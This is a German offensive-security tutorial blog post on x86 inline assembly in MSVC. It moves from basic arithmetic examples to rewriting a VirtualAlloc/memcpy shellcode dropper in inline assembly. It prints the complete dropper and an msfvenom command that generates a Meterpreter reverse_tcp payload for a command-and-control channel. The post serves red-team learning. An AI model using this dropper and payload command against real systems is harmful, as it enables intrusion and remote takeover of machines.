Zurück

Shell We Assembly?

Unleashing Assembly for Shellcode Execution

tl;dr In meinem letzten Artikel "Direct Syscalls: A journey from high to low" haben wir uns ein wenig näher damit beschäftigt, wie man aus Sicht eines Angreifers (Red Team) Direct System Calls unter Windows für die Ausführung von Shellcode nutzen kann. In diesem Artikel möchte ich das Konzept von x86 Inline Assembly MSVC im Kontext von Shellcode Execution betrachten. Die wichtigsten Punkte in diesem Artikel sind die Grundlagen des Kompilierens und der x86 (Inline) Assemblierung. Außerdem werden wir die Grundlagen anhand von zwei Assembly Code Beispielen festigen. Abschließend wird ein High Level API Dropper (Windows APIs) unter Visual Studio 2019 auf Inline Assembly umgeschrieben.

Disclaimer

Der Inhalt und alle Code-Beispiele in diesem Artikel sind nur für Forschungszwecke bestimmt und dürfen nicht in einem unethischen Kontext verwendet werden! Der verwendete Code in Form von x86 Inline Assembly ist nicht neuartig und ich erhebe keinen Anspruch darauf. Die Basis für den Code stammt, wie so oft, von ired.team, vielen Dank @spotheplanet für deine geniale Arbeit und das Teilen mit uns allen!

In diesem Blogpost geht es nicht darum zu bewerten, ob die Verwendung von x86 Inline Assembly im Kontext von EDR Evasion einen Vorteil bietet. Vielmehr geht es darum, die Grundlagen von x86 Inline Assembly im Kontext von Shellcodeausführung zu erarbeiten und zu verstehen.

Einleitung

In meinem letzten Blog Post "Direct Syscalls: A journey from high to low" haben wir unser Wissen über Syscalls und Direct System Calls ein wenig vertieft. Beim Schreiben des Direct Syscall Blogs bin ich auf den Begriff Inline Assembly gestoßen, der mich neugierig gemacht hat und ich wollte mehr über Inline Assembly erfahren. Ich denke, es gibt viele verschiedene Vorlieben und Meinungen, wenn es um Programmiersprachen geht (und das ist auch gut so), ich persönlich gehöre zu denen, die am meisten von Low-Level-Sprachen wie Assembler fasziniert sind. Auch wenn Assembler am Anfang ziemlich schwierig erscheint, finde ich es umso cooler, wenn sich der Knopf nach und nach öffnet und man immer mehr Assembler-Code verstehen, lesen und schreiben kann. 

Da ich persönlich etwas mehr über x86 Inline Assembly MSVC (Microsoft Visual C++) lernen möchte, habe ich mir für diesen Artikel zum Ziel gesetzt, einen Shellcode Dropper in x86 Inline Assembly MSVC unter Visual Studio 2019 zu erstellen und das Gelernte mit der Community zu teilen. Genauer gesagt soll ein C++ High-Level API Dropper (Windows APIs) als Referenz dienen, der dann in x86 Inline Assembly MSVC umgeschrieben wird. Anbei eine Zusammenfassung der wichtigsten Punkte dieses Blogposts:

  • From Code to Executable

  • Grundlagen zu x86 (Inline) Assembly 

  • Beispiel: x86 Inline Assembly MSVC 

  • Erweitertes Beispiel: x86 Inline Assembly MSVC

  • Shellcode Dropper: From C++ to Inline Assembly

  • Vergleich: C++ vs Inline Assembly

  • Zusammenfassung und Erkenntnisse 

From Code to Executable

Bevor ich im nächsten Punkt auf die Grundlagen von x86 Assembly und Inline Assembly eingehe, möchte ich zunächst einige Grundlagen zum Thema Compiler, Assembler und Linker erläutern. Es handelt sich hierbei nicht um eine detaillierte Beschreibung, aber es sollte helfen, das Konzept von x86 Inline Assembly später besser zu verstehen.

Um grundsätzlich Quellcode in Maschinencode umwandeln zu können, werden je nach verwendeter Programmiersprache unterschiedliche bzw. mehr oder weniger Komponenten benötigt. Möchte man beispielsweise High-Level Code wie C, C++ oder Python in Maschinencode umwandeln, benötigt man einen Compiler, einen Assembler und einen Linker. Der Compiler übernimmt dabei die Umwandlung des High-Level Codes in Assemblersprache, die an den Assembler übergeben wird. Im Kontext von x86 und Visual Studio wird hierfür der MSVC Compiler (cl.exe) als Default-Compiler verwendet. 

Der Assembler ist dann für die Umsetzung in Maschinencode in Form einer Objektdatei (.o) zuständig. Hier kommt im Kontext von x86 und Visual Studio standardmäßig der Microsoft Macro Assembler (MASM; ml.exe) zum Einatz. 

Im letzten Schritt kombiniert der Linker die Objektdateien, löst benötigte Symbole (symbols) auf und verknüpft die notwendigen Bibliotheken (Libraries), um die endgültige ausführbare Datei in Form einer .exe zu erstellen. Als Linker wird im Kontext von Visual Studio standardmäßig der Incremental Linker (link.exe) verwendet. Zusammenfassend kann gesagt werden, dass Visual Studio die folgenden Komponenten für die Verarbeitung von High-Level-Code verwendet.


Assembly Code

Will man dagegen Low-Level-Code (Assembler-Code) in Maschinencode umwandeln, so benötigt man nur einen Assembler, der seinerseits die Umwandlung in Maschinencode vornimmt, und einen Linker, der schließlich, vereinfacht gesagt, die ausführbare Datei (.exe) erzeugt. Zusammengefasst kommen dafür unter Visual Studio folgende Komponenten zum Einsatz. 

Direct Syscalls (MASM)

Möchte man dagegen dezidierten Low-Level-Code (Assembler-Code) in Form einer .asm-Datei in Visual Studio für das C++ Projekt verwenden, so muss der hinzugefügte .asm Code durch Aktivierung von MASM dezidiert verarbeitet werden, um anschließend korrekt in den Prozess der .exe Erstellung einfließen zu können. Dieses Konzept der Verwendung von Assembler Code wurde beispielsweise im Artikel Direct Syscalls verwendet. D.h. der benötigte Assembler Code (generiert mit Syswhispers 2) wurde mittels einer .asm Datei als Ressource in das Visual Studio Projekt implementiert. Anbei die von mir erstellte Illustration hierzu.

x86 Inline Assembly MSVC

Visual Studio bietet jedoch auch die Möglichkeit, Assembly Code in Form von x86 Inline Assembly Anweisungen direkt in den C++ Quellcode zu implementieren. Daraus ergeben sich unter anderem folgende Möglichkeiten: 

  • Im Falle eines High Level API Droppers (Windows APIs) können die verwendeten Windows APIs durch entsprechenden x86 Inline Assembly Code direkt im Quellcode dargestellt werden. 

  • Im Fall eines Direct Syscall Droppers können die benötigten Assembly Instruktionen direkt in den Main Code implementiert werden. Diese Möglichkeit ist spannend, würde jedoch den Rahmen dieses Artikels sprengen. 

Für beide Szenarien hat dies den Vorteil, dass der benötigte Assembly Code - seien es Windows APIs als x86 Inline Assembly Code oder der benötigte Code für Native APIs und Syscalls in x86 Assembly - nicht direkt in Form einer .asm Datei hinzugefügt und dediziert mit MASM kompiliert werden muss. Stattdessen erfolgt die Implementierung der x86 Assembly Anweisungen direkt im C++ Quellcode und die Kompilierung automatisch mit dem MSVC Compiler. In diesem Artikel konzentrieren wir uns auf die Möglichkeiten im Kontext eines High Level API Droppers, der Windows APIs verwendet und durch x86 Inline Assembly Coder ersetzt werden soll.

Grundlagen zu x86 (Inline) Assembly

Um im weiteren Verlauf des Artikels den geschriebenen x86-Assembly-Code besser verstehen zu können, sollen zunächst ein paar Grundlagen zum Thema x86 (Inline) Assembly geklärt werden. Es handelt sich hierbei nur um eine sehr oberflächliche Einführung in das Thema, weiter ins Detail zu gehen würde den Rahmen dieses Artikels definitiv sprengen. Wer dennoch mehr über x86 Assembly lesen und lernen möchte, dem empfehle ich den x86 Assembly Guide der University of Virginia, sowie das Wikibook über x86 Assembly und die tollen Videos von Davy Wybiral.

Register

In der Welt von x86-Assembly sind Register grundlegende Komponenten, die als Hochgeschwindigkeitsspeicher in der CPU fungieren. In diesen Registern werden Daten und Adressen während der Ausführung eines Programms zwischengespeichert, um eine effiziente Verarbeitung und einen effizienten Zugriff auf Informationen zu ermöglichen. Beim Erlernen der x86-Assembly ist es wichtig, die verschiedenen Registertypen und ihre spezifischen Aufgaben zu verstehen. x86-Assembly arbeitet mit einer 32-Bit-Architektur, was bedeutet, dass die Allzweckregister 32 Bit breit sind. Diese Register können entweder Daten oder Adressen enthalten, abhängig von ihrer Verwendung in einem bestimmten Programm. Die am häufigsten verwendeten Allzweckregister in x86-Assembler sind eax, ebx, ecx und edx. 

x86-Registers
https://www.cs.virginia.edu/~evans/cs216/guides/x86.html

Bei den Namen der Register handelt es sich meist um historische Namen. Eax (Extended Accumulator Register) wurde ursprünglich häufig zur Speicherung der Ergebnisse arithmetischer und logischer Operationen sowie für Ein-/Ausgabeoperationen verwendet. Ebx (Extended Base Register) diente in der Regel als Base Pointer für den Speicherzugriff, insbesondere bei der Adressierung von Speicheroperanden mit einem Offset. Ecx (Extended Counter Register) wurde hauptsächlich als Schleifenzähler verwendet, um die Ausführung sich wiederholender Aufgaben zu erleichtern. Edx (Extended Data Register) wurde per Definition zusammen mit EAX für Operationen verwendet, die größere Datenmengen erfordern, wie Multiplikation und Division.

Neben den Allzweckregistern gibt es spezielle Register für die Verwaltung des Stacks und des Programmablaufs. Esp (Extended Stack Pointer) verweist auf die Spitze des Stacks (top of the stack), der im Speicher nach unten wächst, während ebp (Extended Base Pointer) als Frame Pointer auf lokale Variablen und Parameter innerhalb einer Funktion verweist. Das eip-Register (Extended Instruction Pointer) enthält die Adresse des nächsten auszuführenden Befehls und spielt eine wichtige Rolle bei der Steuerung des Programmablaufs.

Instruktionen

Die x86-Assemblersprache besteht aus einer Reihe von Befehlen, die auf diese Register und den Speicher einwirken und es ermöglichen, Aufgaben wie Arithmetik, Logik, Kontrollfluss und Speichermanipulation durchzuführen. Das Verständnis der Syntax und der Konventionen der x86-Assemblersprache ist entscheidend für das Schreiben von effektivem Assemblercode. Dazu gehört die Verwendung von Mnemonics - wie mov, push, pop, jmp, int, lea usw. - kurze, menschenlesbare Namen für Anweisungen und Operanden, die die Datenquellen und -ziele für diese Anweisungen angeben.

Syntax x86 Inline Assembly MSVC

Vorab, der Inline Assembly Syntax für MSVC unter Visual Studio wird nur für x86 und nicht für ARM und x64 unterstützt.

Die Initialisierung eines x86 Inline Assembler Blocks in einem C oder C++ Programm in Visual Studio erfolgt über das Schlüsselwort __asm{};. Dadurch können Assembler-Anweisungen direkt zusammen mit C oder C++ Code geschrieben werden. Inline-Assembler kann eine einzelne Anweisung, eine Gruppe von Anweisungen in geschweiften Klammern oder einfach ein leeres Paar geschweifter Klammern sein. Der Begriff "__asm-Block" bezieht sich auf jede Assembler-Anweisung oder Gruppe von Anweisungen, die dem Schlüsselwort __asm folgen, unabhängig davon, ob sie in geschweifte Klammern eingeschlossen sind oder nicht.

Interfacing with C/C++ Code

Ein Vorteil von Inline Assembly ist, dass durch "Interfacing" eine Schnittstelle zum C/C++ Code hergestellt werden kann, indem Variablen und Funktionsnamen direkt im Assembler Code referenziert werden. Dazu werden Platzhalter verwendet, mit denen die C/C++ Ausdrücke in den Inline Assembly Code eingebettet werden können. Das folgende Codebeispiel soll zur Veranschaulichung von Interfacing dienen. 

Vereinfacht ausgedrückt ist im C++ Code zu erkennen, dass die Deklaration der Variablen a, b und result außerhalb des Inline Assembly Codes erfolgt, jedoch kann mittels Interfacing innerhalb des Inline Assembly Blocks auf die Variablen zugegriffen werden kann.

int a = 1;
int b = 2;
int result;

__asm {
    mov eax, a
    add eax, b
    mov result, eax
}

Beispiel: x86 Inline Assembly MSVC

Um die erläuterten Grundlagen über x86 Inline Assembly etwas zu festigen, schauen wir uns den folgenden x86 Inline Assembly Code an, der mit der MSVC Syntax für die Kompatibilität mit Visual Studio entworfen wurde. Zu Beginn definieren wir die drei Variablen a, b, und result wobei a und b jeweils als basic integer type (int) definiert werden.

int a = 5, b = 10, result;

Im nächsten Schritt geben wir mit dem Schlüsselwort __asm an, dass wir einen x86 Inline Assembly Block starten wollen. Anschließend bewegen wir die Variable a bzw. deren Inhalt (5) mit der Anweisung mov in das Register eax. Als nächstes verwenden wir die Anweisung add, um den Inhalt der Variable b (10) zum bestehenden Inhalt von eax hinzuzufügen. Vereinfacht ausgedrückt enthält eax durch den ersten Schritt bereits die Zahl 5 und wir fügen im zweiten Schritt die Zahl 10 hinzu. Anschließend verschieben wir mit mov den Inhalt von eax in die zuvor deklarierte Variable result.

__asm {
        mov eax, a      ; Move the value of 'a' into the EAX register
        add eax, b      ; Add the value of 'b' to EAX
        mov result, eax ; Move the result from EAX into 'result'
    }

Abschließend soll der Inhalt der Variable result auf dem Bildschirm ausgegeben werden und das Programm beendet werden.

std::cout << "The result is: " << result << std::endl;
    return 0;

Der gesamte Code sieht dann wie folgt aus und kann als C++ Projekt unter Visual Studio erstellt und als x86 Release oder Debug kompiliert werden. Die Ausführung der kompilierten .exe erfolgt über cmd.exe und der Inhalt von result wird im Konsolenfenster ausgegeben.

#include <iostream>
#include <Windows.h>

int main() {
    int a = 5, b = 10, result;

    __asm {
        mov eax, a      ; Move the value of 'a' into the EAX register
        add eax, b      ; Add the value of 'b' to EAX
        mov result, eax ; Move the result from EAX into 'result'
    }

    std::cout << "The result is: " << result << std::endl;
    return 0;
}

Erweitertes Beispiel: x86 Inline Assembly MSVC

Wir erweitern den Code noch ein wenig und wollen einerseits erreichen, dass der Wert einer dritten Variable C deklariert werden kann. Der Wert der Variable C soll nach der Addition der Variablen a und b vom aktuellen Inhalt des Registers eax subtrahiert werden, aber nur, wenn der aktuelle Wert von eax kleiner oder gleich 5 ist. Die erste Erweiterung des bestehenden Codes besteht darin, dass nach der Addition der aktuelle Wert von eax mit der Zahl 5 verglichen wird. Dazu wird die Instruktion cmp verwendet.

cmp eax, 5     ; Compare the value of EAX with 5

Das Ergebnis des Vergleichs wird im Register FLAGS gespeichert, das von der folgenden bedingten Sprunganweisung jle (Jump less equal) verwendet wird. Der Sprung zum definierten Label skip_subtraction wird jedoch nur ausgeführt, wenn das Ergebnis des Vergleichs kleiner oder gleich 5 ist. Trifft die Bedingung von jle zu erfolgt die Ausgabe des akutellen Wertes vom Register eax.

jle skip_subtraction ; Jump to 'skip_subtraction' if EAX is less than or equal to 5

Andernfalls, wenn der aktuelle Wert des Registers eax größer als 5 ist, wird der in der Variable c deklarierte Wert von eax subtrahiert und dann eax ausgegeben.

sub eax, c      ; Subtract the value of 'c' from EAX if EAX is greater than 5

Der gesamte Code sieht dann wiederum wie folgt aus und kann als C++ Projekt unter Visual Studio erstellt und als x86 Release oder Debug kompiliert werden. Die Ausführung der kompilierten .exe erfolgt über cmd.exe und der Inhalt von result wird im Konsolenfenster ausgegeben.

#include <iostream>
#include <Windows.h>

int main() {
    int a = 5, b = 10, c = 3, result;

    __asm {
        mov eax, a      ; Move the value of 'a' into the EAX register
        add eax, b      ; Add the value of 'b' to EAX
        cmp eax, 5      ; Compare the value of EAX with 5
        jle skip_subtraction ; Jump to 'skip_subtraction' if EAX is less than or equal to 5
        sub eax, c      ; Subtract the value of 'c' from EAX if EAX is greater than 5
    skip_subtraction:
        mov result, eax ; Move the result from EAX into 'result'
    }

    std::cout << "The result is: " << result << std::endl;
    return 0;
}

Bei den gezeigten Codebeispielen handelt es sich im Prinzip um einfachen Code und x86 Assembly ist in den meisten Fällen wesentlich komplexer. Dennoch denke ich, dass der gezeigte Code ein erstes Verständnis für die Funktionsweise von x86 Inline Assembly unter Visual Studio vermittelt und die folgenden Codebeispiele im Kontext der Shellcodeausführung etwas verständlicher macht.

Shellcode Dropper: From C++ to Inline Assembly

Nach einer ersten kleinen Einführung in x86-Assembly und Inline-Assembly wollen wir mit der Erstellung der High-Level-API Inline Assembly Dropper beginnen. Als Referenz verwenden wir den folgenden C++ Code, der die Ausführung von x86 Shellcode ermöglicht, z.B. x86 Meterpreter Shellcode. Im Referenzcode sind die notwendigen Funktionen mittels High Level APIs (Windows APIs) definiert und wir wollen diese Schritt für Schritt in die entsprechenden x86 Inline Assembly Anweisungen umschreiben.

#include <stdio.h>
#include <windows.h>

int main() {

	// Insert Meterpreter shellcode  
	unsigned char code[] = "\xa6\x12\xd9...";


	// Allocate Virtual Memory 
	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);


	// Copy shellcode into allocated memory 
	memcpy(exec, code, sizeof code);


	// Execute shellcode in memory 
	((void(*)())exec)();
	return 0;
	
}

Shellcode Deklaration

Die Variable code bleibt wie im Originalcode erhalten und ist vorerst für die Speicherung des x86-Shellcodes zuständig. Durch "Interfacing" kann die Deklaration der Variable weiterhin außerhalb der nachfolgenden Inline Assembly Blocks erfolgen. Auch der Pointer void*, der auf die Variable exec zeigt und zur Speicherung der Adresse des reservierten Speichers benötigt wird, bleibt erhalten.

// Insert Meterpreter shellcode  
    unsigned char code[] = "\xa6\x12\xd9";

    // Variable to store the allocated memory address and shellcode size
    void* exec;

codeSize

Vor der Deklaration des ersten Inline Assembly Blocks wird noch die Variable codeSize als DWORD extern deklariert. Diese Variable wird für die Berechnung der Shellcodegröße benötigt. Eine Frage, die ich mir gestellt habe, ist, warum die Deklaration als DWORD? Der Grund dafür ist, dass wir Inline Assembly in Visual Studio nur in 32-Bit Form verwenden können.

DWORD codeSize = sizeof code;

x86 Inline Assembly: Allocate Memory

Anschließend wird die Windows API VirtualAlloc von Windows APIs in entsprechenden Assembly Code umgeschrieben und innerhalb des ersten Inline Assembly Blocks deklariert. Wie bereits in der Einleitung erwähnt, erfolgt die Initialisierung des Inline Assembly Blocks in Visual Studio mit dem Schlüsselwort __asm{}; und der Inline Assembly Code wird innerhalb der geschwungenen Klammern geschrieben.

Damit die Funktion VirtualAlloc in Form von Inline Assembly Code korrekt ausgeführt werden kann, müssen die vier Argumente (0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE) der Funktion in umgekehrter Reihenfolge (reverse order) mittels push auf die Spitze des Stacks platziert werden.

Aber warum in umgekehrter und nicht in normaler Reihenfolge? Der Grund liegt zum einen in der Funktionsweise eines LIFO-Stacks (Last In First Out) und zum anderen in der Calling Convention __stdcall von Win32 APIs (in diesem Fall VirtualAlloc). D.h. damit die vier Argumente von VirtualAlloc nach der Platzierung auf dem Stack mittels push Instruktion und anschließend mittels pop Instruktion in der richtigen Reihenfolge (von links nach rechts) eingelesen werden können, sorgt die Calling Convention __stdcall dafür, dass der Caller die vier Argumente von VirtualAlloc zunächst in umgekehrter Reihenfolge (Reverse Order) auf dem LIFO Stack platziert.

Zuerst habe ich das Prinzip nicht ganz verstanden, aber nachdem es Klick gemacht hat, habe ich mir gedacht, ich mache die folgende Grafik und hoffe, dass sie das Prinzip von LIFO und Reverse Order etwas verständlicher macht und auch dazu beiträgt, den Inline Assembly Code bzw. auch dessen Reihenfolge besser zu verstehen.

Nachdem die Funktionsweise der Reverse Order im Kontext eines LIFO Stacks einigermaßen klar sein sollte, beginnen wir mit dem Umschreiben der Windows API VirtualAlloc in den entsprechenden x86 Inline Assembly Code basierend auf der MSVC Syntax.

Der Inline Assembly Code gestaltet sich relativ einfach, d.h. die vier benötigten Argumente für VirtualAlloc werden mittels push in umgekehrter Reihenfolge auf den Stack gelegt. Anschließend erfolgt der Aufruf von VirtualAlloc mittels call Anweisung.

// Push the function arguments onto the stack in reverse order for VirtualAlloc
        push PAGE_EXECUTE_READWRITE
        push MEM_COMMIT
        push codeSize
        push 0

        // Call VirtualAlloc
        call VirtualAlloc

Mit der nächsten Assembler-Codezeile innerhalb des ersten Inline Assembly Blocks wird der Inhalt des Registers eax mittels mov in die Variable exec verschoben bzw. gespeichert. Aber warum der Inhalt von eax, was enthält das Register zu diesem Zeitpunkt im Programmablauf?

Das Register eax enthält zu diesem Zeitpunkt die Basisadresse des zuvor durch die korrekte Ausführung von VirutalAlloc reservierten Speicherbereichs. Der Grund, warum der Inhalt des Registers eax in die Variable exec geschrieben wird, liegt darin, dass die Basisadresse des reservierten Speicherbereichs später mit Hilfe von exec aufgerufen wird.

// Store the result (allocated memory address) in 'exec'
        mov exec, eax

Wie bereits erwähnt, ist der Stack eine Datenstruktur, die nach dem Last-In-First-Out-Prinzip (LIFO) arbeitet, d.h. der Intel Stack wächst im Speicher nach unten (zu niedrigeren Adressen), wenn neue Elemente auf den Stack gelegt werden (PUSH()). Wenn Elemente vom Stapel entfernt werden (POP()), wächst der Stapel wieder nach oben (zu höheren Adressen). Der Stack-Pointer (ESP) enthält die Adresse des obersten Punktes auf dem Stack. Beim Verschieben von Elementen auf den Stack wird der Stack-Pointer dekrementiert, beim Löschen von Elementen vom Stack wird der Stack-Pointer inkrementiert.

Im angegebenen Code befinden sich nach dem Aufruf von VirtualAlloc die vier Argumente (jeweils 4 Byte da x86) noch auf dem Stack. Um den Stack aufzuräumen und den von diesen Argumenten belegten Speicher wieder freizugeben, muss der Stack-Pointer wieder auf die Position zurückgesetzt werden, auf der er sich vor dem Einfügen der Argumente befand. Da die Argumente insgesamt 16 Byte belegt haben (4 Argumente * je 4 Byte), muss der Stack-Pointer mit der Anweisung add esp, 16 um 16 Byte erhöht werden. Dadurch werden die vier Argumente vom Stack "entfernt" und der belegte Speicher wieder freigegeben. Die Umsetzung der Funktion VirtualAlloc Windows API Format auf x86 Inline Assembly ist damit abgeschlossen und der erste Inline Assembly Block ist fertiggestellt.

Alternativ kann add esp, 16 durch viermal pop eax ersetzt werden. Die Verwendung von pop-Anweisungen auf diese Weise führt zum gleichen Ergebnis wie die Verwendung von add esp, 16, da beide Methoden den Stack bereinigen, indem der von den Argumenten belegte Speicher freigegeben wird.

// Clean up the stack (4 arguments * 4 bytes each)
        add esp, 16
// Alternative to clean up the stack (4 arguments * 4 bytes each)
        pop eax
        pop eax
        pop eax
        pop eax

Die Verwendung von add esp, 16"ist jedoch einfacher und effizienter, da nur eine einzige Anweisung erforderlich ist, um den Stack zu bereinigen. Daher bleiben wir in unserem Code bei dieser Version. Der fertige Inline Assembly Block für die Speicherreservierung des Shellcodes sieht wie folgt aus.

Korrektur!

Im Zusammenhang mit der Verwendung von Windows APIs wie z.B. VirtualAlloc wird der Stack nach Beendigung der jeweiligen Funktion automatisch durch eine ret Anweisung freigegeben. Die dezidierte Ausführung von add esp, 16 führt zur Korruption des Stacks. Der ursprüngliche Code funktioniert im Kontext der Ausführung von x86 Metrepreter Shellcode und die Auswirkungen sind mir derzeit nicht ganz klar, dennoch wurde der Hinweis überprüft und der Code aktualisiert und add esp, 16 entfernt bzw. auskommentiert. Vielen Dank an @x86matthew für den Hinweis!

__asm {
        // Push the function arguments onto the stack in reverse order for VirtualAlloc
        push PAGE_EXECUTE_READWRITE
        push MEM_COMMIT
        push codeSize
        push 0

        // Call VirtualAlloc
        call VirtualAlloc

        // Store the result (allocated memory address) in 'exec'
        mov exec, eax

        // Clean up the stack (4 arguments * 4 bytes each)
        //add esp, 16
    }

Zusatzinfo: Durch das Inkrementieren des Stack-Pointers werden die Daten im Speicher nicht wirklich gelöscht, sondern der Speicher wird nur als wiederverwendbar markiert. Wenn das nächste Mal Daten auf den Stack geschoben werden, können diese die alten Argumentwerte überschreiben, aber bis dahin können die Daten noch im Speicher vorhanden sein.

x86 Inline Assembly: Copy Shellcode to Allocated Memory

Mit dem zweiten Inline Assembly Block wollen wir die C++ Variante der memcpy Funktion in x86 Inline Assembly nachbilden. Dieser Inline Assembly Block sieht etwas komplizierter aus als der vorherige, ist aber im Endeffekt nur dafür verantwortlich, dass der Shellcode korrekt in den zuvor allokierten Speicher kopiert wird. Damit der Kopiervorgang korrekt durchgeführt werden kann, muss der Assemblercode folgende Funktionen sicherstellen:

  • Die Quelladresse des Shellcodes (code) wird korrekt geladen, sprich der Shellcode an sich wird korrekt geladen.

  • Die Zieladresse des Shellcodes wird korrekt geladen, sprich wohin soll der Shellcode kopiert werden (exec).

  • Die Shellcodegröße wird korrekt geladen (codeSize).

Aber schauen wir uns den Inline Assembly Code etwas genauer an. In der ersten Zeile wird die Quelladresse des Shellcodes geladen, indem die Adresse des Codes mit der Anweisung lea in das Register esi verschoben wird.

lea esi, [code]		; Load the address of the code data into the ESI register using lea instruction

In der nächsten Zeile wird die Zieladresse definiert, an der der zuvor geladene Shellcode gespeichert werden soll. Dazu wird die Variable exec mit der Anweisung mov in das Register edi verschoben. Doch warum wird exec nach edi verschoben?

Wenn wir einen Blick auf den Inline Assembly Block von vorhin werfen, erinnern wir uns, dass der durch VirtualAlloc allokierte Speicher im Register eax gepuffert und dann durch die mov Anweisung in die Variable exec verschoben wurde. Daher enthält die Variable exec, die als Pointer void* deklariert ist, die Basisadresse des allokierten Speichers und damit die Zieladresse für den Shellcode.

mov edi, exec    ; Load the address of the allocated memory into the EDI register

Im nächsten Schritt wird die Größe des Shellcodes festgelegt. Dazu wurde ganz am Anfang des Codes die Variable codeSize angelegt, die als DWORD deklariert ist und die Größe des x86-Shellcodes speichert. Aus diesem Grund wird in der nächsten Zeile des Assembler-Codes festgelegt, dass der Inhalt der Variable codeSize - also die Größe des Shellcodes - mittels der Instruktion mov in das Register ecx verschoben wird.

mov ecx, codeSize	; Load the size of the code into the ECX register

Die letzten beiden Assemblerzeilen in diesem Inline-Assembler-Block sind etwas komplizierter, aber ich gebe mein Bestes und hoffe, dass ich den Code und den Zusammenhang zwischen den beiden Zeilen verstanden habe und verständlich machen kann. Vereinfacht gesagt sorgen diese beiden Zeilen dafür, dass der Shellcode Byte für Byte in der richtigen Reihenfolge von der Quelladresse in die Zieladresse kopiert wird.

Zunächst muss die Kopierreihenfolge durch die korrekte Deklaration des Direction Flags (cld) sichergestellt werden. Das bedeutet, dass das Direction Flag die beiden Zustände Set(1) und Clear(0) kennt. Während Set eine Dekrementierung von ESI und EDI (also von höheren Speicheradressen zu niedrigeren Speicheradressen) bewirkt, bewirkt der Zustand Clear(0) eine Inkrementierung von ESI und EDI (also von niedrigeren zu höheren Speicheradressen). Damit in unserem Fall der Shellcode korrekt von niedrigeren zu höheren Speicheradressen kopiert wird, muss das Direction Flag mit dem Befehl cld (clear direction flag) auf Clear(0) gesetzt werden. Würde man das Direction Flag auf Set(1) setzen, würde der Shellcode in der falschen Reihenfolge kopiert werden und die Ausführung des Shellcodes würde fehlschlagen.

Nachdem die Kopierreihenfolge festgelegt wurde, muss noch sichergestellt werden, dass der Shellcode Byte für Byte korrekt von der Quelladresse zur Zieladresse kopiert wird. Dazu wird der Assemblerbefehl rep movsb verwendet, der für "repeat move string byte" steht und somit selbsterklärend ist.

cld          ; Clear the direction flag
rep movsb    ; Copy the code data to the allocated memory byte by byte

Damit ist die Analyse des zweiten Inline Assembly Blocks unseres x86 Inline Assembly Shellcode Droppers abgeschlossen und der zweite Inline Assembly Block sieht wie folgt aus.

// Copy shellcode into allocated memory
    __asm {
        lea esi, [code]		; Load the address of the code data into the ESI register using lea instruction
        mov edi, exec		; Load the address of the allocated memory into the EDI register
        mov ecx, codeSize	; Load the size of the code into the ECX register
        cld					; Clear the direction flag
        rep movsb			; Copy the code data to the allocated memory byte by byte
    }

x86 Inline Assembly: Execute Shellcode

Damit haben wir den schwierigsten Teil geschafft. Noch einmal kurz zusammengefasst, in den letzten beiden Schritten bzw. mit den letzten beiden Inline Assembly Blocks haben wir für den Inline Assembly Shellcode Dropper sichergestellt:

  • Dass Speicher für den Shellcode allokiert wird...

  • ...und der Shellcode in der richtigen Reihenfolge von der Quelladresse zur Zieladresse kopiert wird.

Mit der Definition des letzten Inline Assembly Blocks soll schließlich der Shellcode ausgeführt werden. Dazu wird die Adresse des allokierten Speichers exec mittels der mov Instruktion in das Register ebx verschoben. Anschließend erfolgt die Ausführung des Shellcodes im allokierten Speicher durch Aufruf des Registersebx mittels der call Instruktion. Kurzum, wenn alles richtig gemacht wurde und z.B. x86 Meterpreter Shellcode als Shellcode verwendet wird, sollte sich in Verbindung mit der korrekten Konfiguration eines Meterpreter Listeners ein Command and Control Channel öffnen. Der dritte fertige Inline Assembly Block sieht wie folgt aus.

__asm {
        mov ebx, exec    ; Load the address of the allocated memory into the EBX register
        call ebx         ; Call the code in the allocated memory
    }

Der fertige Code für den Inline Assembly Dropper sieht wie folgt aus und kann z.B. in Kombination mit dem x86 Meterpreter Shellcode verwendet werden.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=External_IPv4_Redirector LPORT=80 -f c
#include <stdio.h>
#include <windows.h>

int main() {

    // Insert x86 Meterpreter shellcode  
    unsigned char code[] = "\xfc\xe8\x8f";

    // Variables to store the allocated memory address and shellcode size
    void* exec;
    DWORD codeSize = sizeof code;

    __asm {
        // Push the function arguments onto the stack in reverse order for VirtualAlloc
        push PAGE_EXECUTE_READWRITE
        push MEM_COMMIT
        push codeSize
        push 0

        // Call VirtualAlloc
        call VirtualAlloc

        // Store the result (allocated memory address) in 'exec'
        mov exec, eax

        // Clean up the stack (4 arguments * 4 bytes each)
        // add esp, 16
    }

    // Copy shellcode into allocated memory
    __asm {
        lea esi, [code]     ; Load the address of the code data into the ESI register using lea instruction
        mov edi, exec       ; Load the address of the allocated memory into the EDI register
        mov ecx, codeSize   ; Load the size of the code into the ECX register
        cld                 ; Clear the direction flag
        rep movsb           ; Copy the code data to the allocated memory byte by byte
    }

    // Execute shellcode in memory
    __asm {
        mov ebx, exec       ; Load the address of the allocated memory into the EBX register
        call ebx            ; Call the code in the allocated memory
    }

    return 0;
}

Vergleich: C++ vs Inline Assembly

Bevor ich nach diesem Punkt zur Zusammenfassung und zum Abschluss des Artikels komme, möchte ich noch einige Vergleiche zwischen dem Referenzcode und dem umgeschriebenen Code anstellen. Erinnern wir uns, dass es sich in beiden Fällen um einen High Level API Dropper handelt, der auf der Verwendung von Windows APIs basiert. Genauer gesagt wurde in beiden Codevarianten die Windows API VirtualAlloc verwendet, nur die Art und Weise wie VirtualAlloc aufgerufen wurde war unterschiedlich, aber dazu später mehr. Unser Ziel war es, den Referenzcode bzw. die darin enthaltenen Funktionen unter Visual Studio von C++ in x86 Inline Assembly Code umzuschreiben. Anbei ein kurzer Vergleich zwischen der C++ und der x86 Inline Assembly Variante.

Deklaration Shellcode

Am Shellcode selbst hat sich nichts geändert, beide POCs können z.B. mit x86 Meterpreter Shellcode oder x86 Calculator Shellcode gefüllt werden. Die Deklaration in der Inline Assembly Variante unterscheidet sich geringfügig, da aufgrund der Verwendung von x86 Inline Assembly die Variable codeSize, welche die Größe des Shellcodes speichert, als DWORD deklariert werden muss.

// Rewritten code in x86 Inline Assembly -> Declaration DWORD
DWORD codeSize = sizeof code;

Speicherreservierung

